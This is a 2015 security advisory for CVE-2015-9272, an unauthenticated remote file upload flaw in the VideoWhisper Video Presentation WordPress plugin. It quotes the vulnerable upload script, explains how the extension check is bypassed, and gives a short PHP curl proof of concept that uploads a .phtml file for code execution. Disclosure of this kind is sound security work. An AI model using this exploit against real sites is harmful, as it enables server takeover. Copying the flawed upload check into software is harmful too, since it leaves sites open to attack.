Advisory #: 117
Title: Remote file upload vulnerability in wordpress plugin videowhisper-video-presentation v3.31.17
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
[CVE-2015-9272]
Download Site: https://wordpress.org/plugins/videowhisper-video-presentation/
Vendor:
Vendor Notified: 2015-03-29
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Advisory: http://www.vapid.dhs.org/advisory.php?v=117http://www.vapid.dhs.org/advisory.php?v=117
Description: VideoWhisper Video Consultation is a web based video communication solution designed for online video consultations, interactive live presentations, trainings, webinars, coaching and online collaboration with webcam support. Read more on WordPress Video Presentation plugin home page.
Vulnerability:
*Update* You can directly execute php by uploading file extension ending in .phtml, .rhtml, .pht as long as the extension isn't defined in the apache mime.types. This was a previously discovered vulnerability that was not properly fixed by the author. The patch was insufficient in blocking malicious file uploads. From wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a file name to match which types are allowed. Because of this .shtml can be passed through and remote code execution is SSI is allowed. The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting wordpress site: .shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps The if (strstr($filename,'.php')) exit; can be by passed by using the extension .Php but the file extension check would allow files like test.Php.shtml <?php if ($_GET["room"]) $room=$_GET["room"]; if ($_POST["room"]) $room=$_POST["room"]; $filename=$_FILES['vw_file']['name']; include_once("incsan.php"); sanV($room); if (!$room) exit; sanV($filename); if (!$filename) exit; if (strstr($filename,'.php')) exit; //do not allow uploads to other folders if ( strstr($room,"/") || strstr($room,"..") ) exit; if ( strstr($filename,"/") || strstr($filename,"..") ) exit; $destination="uploads/".$room."/"; if ($_GET["slides"]) $destination .= "slides/"; $ext=strtolower(substr($filename,-4)); $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps"); if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); ?>loadstatus=1
Export: JSON TEXT XML
Exploit Code:
  1. <?php
  2.  
  3. $uploadfile="upexp.phtml";
  4. $ch =
  5. curl_init("http://target_site/wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php");
  6. curl_setopt($ch, CURLOPT_POST, true);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS,
  8. array('vw_file'=>"@$uploadfile",'name'=>'upexp.phtml','room'=>'.'));
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. $postResult = curl_exec($ch);
  11. print "$postResult";
  12.  
  13. ?>
  14.  
  15. upexp.phtml
  16.  
  17. <?php
  18. ?>
  19. The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads.
Screen Shots:
Notes: